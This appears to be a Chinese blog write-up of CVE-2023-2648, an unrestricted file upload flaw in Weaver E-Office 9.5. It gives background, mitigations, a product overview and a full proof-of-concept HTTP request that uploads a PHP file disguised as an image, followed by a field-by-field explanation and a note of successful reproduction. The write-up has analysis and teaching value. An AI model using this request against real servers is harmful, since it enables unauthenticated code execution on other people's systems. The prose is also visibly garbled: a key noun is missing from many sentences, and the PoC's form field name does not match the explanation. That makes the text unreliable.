前言
CVE-2023-2648 是一个在 Weaver E-Office 9.5 版本中发现的严重。此位于文件 /inc/jquery/uploadify/uploadify.php 中,通过操控 Filedata 参数,可以进行不受限制的文件上传。这一允许上传可能包含危险类型的文件,并在应用程序环境中执行。该可以通过远程发起,且已被公开披露,构成了严重的安全风险。
此被分类为 CWE-434:不受限制的危险类型文件上传。根据 CVSS v3.1 评分,此的基本评分为 9.8,表明其严重性极高。这意味着它可以通过网络在无需用户交互或事先认证的情况下被利用,对保密性、完整性和可用性产生高影响 (NVD) (Tenable®) (MITRE CVE) (Aqua Vulnerability Database)。
对此的缓解措施包括:
实施严格的输入验证,确保仅允许指定的文件类型和内容。
使用白名单方法,根据已知的良好标准验证输入。
在沙盒环境中运行应用程序,以限制潜在利用的影响。
使用如 AppArmor 或 SELinux 等安全机制来强制执行文件操作的严格边界 (Aqua Vulnerability Database)。
有关更多详情,可以参考 MITRE CVE 网站 和 国家数据库。
介绍
Weaver E-Office是由泛微(Weaver)开发的一款标准办公自动化(OA)平台,主要面向中小型企业(SMEs)。该平台提供了超过30种应用,涵盖了知识管理、工作流、项目管理、客户管理、费用控制等多个业务功能,旨在提高企业的运营效率和业务流程的自动化程度 (Overview | e-office User Manual) (Weaver) (Weaver)。
功能概述
工作流协作:提供审批流程记录和统计报告,帮助标准化规则和流程。
知识系统:存储、检索和共享企业知识。
人力资源和行政管理:包括考勤管理、绩效考核、员工档案管理等。
费用管理:清晰的费用申请和报销流程,帮助控制费用。
项目管理:涵盖项目计划、执行和完成的全生命周期管理。
客户管理:提供企业级的客户管理,支持销售跟进和合同管理。
文档管理:集成业务记录和文件,提供智能化的文档工作流。
主要特点
易于维护和安装:支持私有部署,适合中小企业的需求。
预设模板:提供丰富的预设模板,帮助快速实现业务目标。
低代码开发:用户无需编程技能,通过拖拽即可创建定制化的应用。
跨平台部署:支持桌面和移动设备的集成使用。
使用场景
Weaver E-Office适用于多种业务场景,包括管理决策、员工入职、行政和人力资源管理、项目技术管理以及销售和客户服务等。通过整合不同模块的数据,企业可以更高效地运营,并更有效地利用业务洞察 (Weaver) (Weaver) (Weaver)。
安全性
系统具有“一键备份和快速数据恢复”功能,确保数据的安全性和可靠性。此外,它还提供简单易用的维护功能,是中小企业在一般管理和核心业务操作方面的最佳选择。
Weaver E-Office是一个高度灵活且功能强大的OA平台,能够帮助企业实现数字化协作和业务流程自动化,从而提升整体运营效率。
POC 分析
POST /inc/jquery/uploadify/uploadify.php HTTP/1.1 Host: xxxx8088 Content-Length: 204 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Connection: close ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt Content-Disposition: form-data; name="Fdiledata"; filename="uploadify.php." Content-Type: image/jpeg <?php phpinfo();?> ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
- HTTP 请求方法:
POST
- 请求使用了
POST
方法,将数据上传到服务器。
- 请求路径:
/inc/jquery/uploadify/uploadify.php
- 目标路径是
uploadify.php
文件,该文件是存在的部分。
头部信息:
- Host: 目标服务器地址(以
xxxx8088
作为示例)。 - Content-Length: 请求体的长度。
- Content-Type: 设置为
multipart/form-data
,表示请求体中包含多个部分的数据。 - User-Agent: 请求发送的客户端信息。
- Accept、Accept-Encoding、Accept-Language: 指定客户端接受的响应格式和语言。
请求体:
- Boundary:分隔符
----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
用于区分多个表单数据部分。 - Content-Disposition:表明这是一个表单数据项,
name="Filedata"
指定了表单字段名,filename="uploadify.php."
指定了上传的文件名。 - Content-Type:虽然文件名是
.php
,但类型被误导为image/jpeg
。
- 文件内容:PHP 代码
<?php phpinfo();?>
,这是一个简单的 PHP 脚本,用于显示 PHP 的配置信息。
利用
- 文件上传:通过操控
Filedata
参数,将任意文件上传到服务器。由于文件类型检查不严格,攻击者可以上传包含恶意代码的 PHP 文件。 - 远程代码执行:上传的文件会在服务器上执行,导致远程代码执行。此处上传的
uploadify.php.
文件包含 PHP 代码<?php phpinfo();?>
,可在服务器上执行并显示 PHP 信息。
风险与防范
风险:
- 远程代码执行:可以上传并执行任意代码,完全控制服务器。
- 信息泄露:通过上传恶意脚本,可以获取服务器上的敏感信息。
防范措施:
- 严格验证文件类型:仅允许特定类型的文件上传,拒绝一切不符合要求的文件类型。
- 文件名检查:确保文件名没有危险的扩展名,例如
.php
。 - 使用白名单策略:仅接受已知良好的输入。
- 隔离上传目录:将上传的文件存储在一个仅允许有限权限访问的目录中,防止文件直接执行。
通过这些措施,可以有效减少此类被利用的风险。
复现
uploadify.php 上传成功,返回随机文件夹名称